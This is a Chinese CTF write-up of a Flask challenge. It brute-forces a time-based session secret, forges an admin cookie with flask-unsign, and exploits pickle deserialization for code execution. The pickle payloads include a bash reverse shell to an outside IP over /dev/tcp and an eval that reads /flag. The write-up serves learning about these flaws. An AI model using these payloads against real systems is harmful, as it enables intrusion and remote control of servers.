题目描述:善用搜索引擎,容器中的 Python 版本为 3.11
直接给了源码:
import pickle
import base64
from flask import Flask, session, request, send_file
from datetime import datetime
from pytz import timezone
currentDateAndTime = datetime.now(timezone(‘Asia/Shanghai’))
currentTime = currentDateAndTime.strftime(“%H%M%S”)
app = Flask(name)
Tips: Try to crack this first ↓
app.config[‘SECRET_KEY’] = currentTime
print(currentTime)
@app.route(‘/’)
def index():
session[‘username’] = ‘guest’
return send_file(‘app.py’)
@app.route(‘/flag’, methods=[‘GET’, ‘POST’])
def flag():
if not session:
return ‘There is no session available in your client 😦’
if request.method == ‘GET’:
return ‘You are {} now’.format(session[‘username’])
For POST requests from admin
if session[‘username’] == ‘admin’:
pickle_data=base64.b64decode(request.form.get(‘pickle_data’))
Tips: Here try to trigger RCE
userdata=pickle.loads(pickle_data)
return userdata
else:
return ‘Access Denied’
if name==‘__main__’:
app.run(debug=True, host=“0.0.0.0”)
两个步骤。1、破解session;2、pickle实现RCE
session密钥是当前时间,在根路由刷新,/flag
路由刷新网页不改变session。
我当前时间戳(密钥)是234221。
我们小范围爆破即可。230000
->234221
当前session:
eyJ1c2VybmFtZSI6Imd1ZXN0In0.ZcJSFQ.1hGqXUp2ShF_fZMMfz2htjO7Kz4
脚本解密看看结构
#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode
def decryption(payload):
payload, sig = payload.rsplit(b’.‘, 1)
payload, timestamp = payload.rsplit(b’.', 1)
decompress = False
if payload.startswith(b’.'):
payload = payload[1:]
decompress = True
try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of ’
‘an exception’)
if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before ’
‘decoding the payload’)
return session_json_serializer.loads(payload)
if name == ‘__main__’:
print(decryption(“eyJ1c2VybmFtZSI6Imd1ZXN0In0.ZcJSFQ.1hGqXUp2ShF_fZMMfz2htjO7Kz4”.encode())) #输入session
非常的朴实无华
爆破密钥脚本:
import itertools
import flask_unsign
from flask_unsign.helpers import wordlist
import requests as r
import time
import re
import sys
path = “wordlist.txt”
print("Generating wordlist… ")
with open(path,“w”) as f:
#permutations with repetition
[f.write(‘23’+“”.join(x)+‘’+“\n”) for x in itertools.product(‘0123456789’, repeat=4)] #加上前缀
#url = “http://47.115.201.35:8000/index”
#cookie_tamper = r.head(url).cookies.get_dict()[‘session’]
cookie_tamper=‘eyJ1c2VybmFtZSI6Imd1ZXN0In0.ZcJSFQ.1hGqXUp2ShF_fZMMfz2htjO7Kz4’
print("Got cookie: " + cookie_tamper)
print(“Cracker Started…”)
obj = flask_unsign.Cracker(value=cookie_tamper)
before = time.time()
with wordlist(path, parse_lines=False) as iterator:
obj.crack(iterator)
secret = “”
if obj.secret:
secret =obj.secret.decode()
print(f"Found SECRET_KET {secret} in {time.time()-before} seconds")
signer = flask_unsign.sign({“time”:time.time(),“authorized”:True},secret=secret)
密钥233629
之后flask_unsign
工具伪造session即可。
flask-unsign --sign --cookie “{‘username’: ‘admin’}” --secret ‘233629’
伪造成功,开始第二步。
注意,pickle,版本要一致,版本是311。
脚本:
import pickle
import os
import base64
class aaa():
def __reduce__(self):
return(os.system,(‘bash -c “bash -i >& /dev/tcp/120.46.41.173/9023 0>&1”’,))
a= aaa()
payload=pickle.dumps(a)
payload=base64.b64encode(payload)
print(payload)
寄了,我就知道没这么简单。
报错看不太出来什么。我之前生成pickle那个引用了os包,可能环境没有,换个脚本。
import pickle
import base64
class A(object):
def __reduce__(self):
return (eval, (“__import__(‘os’).popen(‘tac /flag’).read()”,))
a = A()
a = pickle.dumps(a)
print(base64.b64encode(a))